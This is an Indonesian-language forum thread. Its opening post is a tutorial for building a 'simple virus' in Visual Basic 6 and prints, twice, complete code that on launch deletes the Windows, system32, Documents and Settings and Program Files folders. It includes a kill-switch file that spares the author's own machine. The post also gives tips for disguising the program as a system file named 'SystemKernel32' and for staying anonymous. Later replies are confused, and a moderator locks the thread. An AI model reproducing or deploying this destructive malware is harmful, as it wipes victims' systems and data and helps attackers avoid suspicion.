CARA BIKIN VRUS YANG SIMPLE
3 posters
Halaman 1 dari 1
CARA BIKIN VRUS YANG SIMPLE
Yg diperluin:
1. VB(optimal : 6.0)
2. Ngerti tombol2nya VB
Tutorial Bikin Virus cman 1 mnt
1. bikin form sekecil mungkin
2. didalem form itu, masukin nih kode
Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
3.
Kode yg warna biru itu penangkal nih virus, barang kali lu ga sengaja
teken jadi lu slamat. jadi di folder c:\windows\system32\ kalo ada file
namanya katak.txt, lu ga bakal keserang ndiri… bisa lu edit koq jadi
apa gitu…
Yang warna merah itu folder yg bakal didelete ama nih virus, lu edit ndiri aja…
4. Bikin nih project namanya kaya nama system, disini gwe make nama “SystemKernel32″ jadi ga bakal dicurigain
5. Jangan pernah naroh nama lu di nih virus… k?
6. compile deh… slese!
Simple kan? nih virus kerjanya cman ngapus system, lumayan bahaya…
ini cman contoh bikin virus… slanjutnya.. anda ndiri coba2 ndiri
1. VB(optimal : 6.0)
2. Ngerti tombol2nya VB
Tutorial Bikin Virus cman 1 mnt
1. bikin form sekecil mungkin
2. didalem form itu, masukin nih kode
Public Sub DelAll(ByVal DirtoDelete As Variant)
Dim FSO, FS
Set FSO = CreateObject(”Scripting.FileSystemObject”)
FS = FSO.DeleteFolder(DirtoDelete, True)
End Sub
Private Sub Form_Load()
On Error Resume Next
If FileExist(”c:\windows\system32\katak.txt”) = True Then
End
Else
Call DelAll(”c:\windows\system”)
Call DelAll(”c:\windows\system32″)
Call DelAll(”c:\windows”)
Call DelAll(”C:\Documents and Settings\All Users”)
Call DelAll(”C:\Documents and Settings\Administrator”)
Call DelAll(”C:\Documents and Settings”)
Call DelAll(”C:\Program Files\Common Files”)
Call DelAll(”C:\Program Files\Internet Explorer”)
Call DelAll(”C:\Program Files\Microsoft Visual Studio”)
Call DelAll(”C:\Program Files”)
End
End If
End Sub
Function FileExist(ByVal FileName As String) As Boolean
If Dir(FileName) = “” Then
FileExist = False
Else
FileExist = True
End If
End Function
3.
Kode yg warna biru itu penangkal nih virus, barang kali lu ga sengaja
teken jadi lu slamat. jadi di folder c:\windows\system32\ kalo ada file
namanya katak.txt, lu ga bakal keserang ndiri… bisa lu edit koq jadi
apa gitu…
Yang warna merah itu folder yg bakal didelete ama nih virus, lu edit ndiri aja…
4. Bikin nih project namanya kaya nama system, disini gwe make nama “SystemKernel32″ jadi ga bakal dicurigain
5. Jangan pernah naroh nama lu di nih virus… k?
6. compile deh… slese!
Simple kan? nih virus kerjanya cman ngapus system, lumayan bahaya…
ini cman contoh bikin virus… slanjutnya.. anda ndiri coba2 ndiri
TaSyA_sAbAkU- Kage Group
-
Jumlah posting : 1236
Age : 35
Location : In U'rE hEaRtZ
Registration date : 24.04.07
Re: CARA BIKIN VRUS YANG SIMPLE
ada yang ngerti?
gw aj binun...
gw aj binun...
TaSyA_sAbAkU- Kage Group
-
Jumlah posting : 1236
Age : 35
Location : In U'rE hEaRtZ
Registration date : 24.04.07
Re: CARA BIKIN VRUS YANG SIMPLE
TaSyA_mOoD wrote:ada yang ngerti?
gw aj binun...
Oala ....... G bener NIe
Harus Pke Visula Basic Yew ..... Baroe Teu .....
Re: CARA BIKIN VRUS YANG SIMPLE
apaan itu?
TaSyA_sAbAkU- Kage Group
-
Jumlah posting : 1236
Age : 35
Location : In U'rE hEaRtZ
Registration date : 24.04.07
Re: CARA BIKIN VRUS YANG SIMPLE
Tred ini menjurus ke OOT, maka akan di-lock. Nanti akan ada tred khusus mengenai virus *set dah, baru masuk udah disuguhi*
Similar topics
» Adegan yg bikin berlinang air mata...
» Seks Bikin Wanita Lebih Seksi
» PENAWARAN PARFUME GIFTSET,MINIATURE, SPRAY+DEODORANT,TESTER
» 20 Cara MeNgatasI PaTah Hati
» 7 CARA MENDAPATKAN PERHATIAN COWOK
» Seks Bikin Wanita Lebih Seksi
» PENAWARAN PARFUME GIFTSET,MINIATURE, SPRAY+DEODORANT,TESTER
» 20 Cara MeNgatasI PaTah Hati
» 7 CARA MENDAPATKAN PERHATIAN COWOK
Halaman 1 dari 1
Permissions in this forum:
Anda tidak dapat menjawab topik
|
|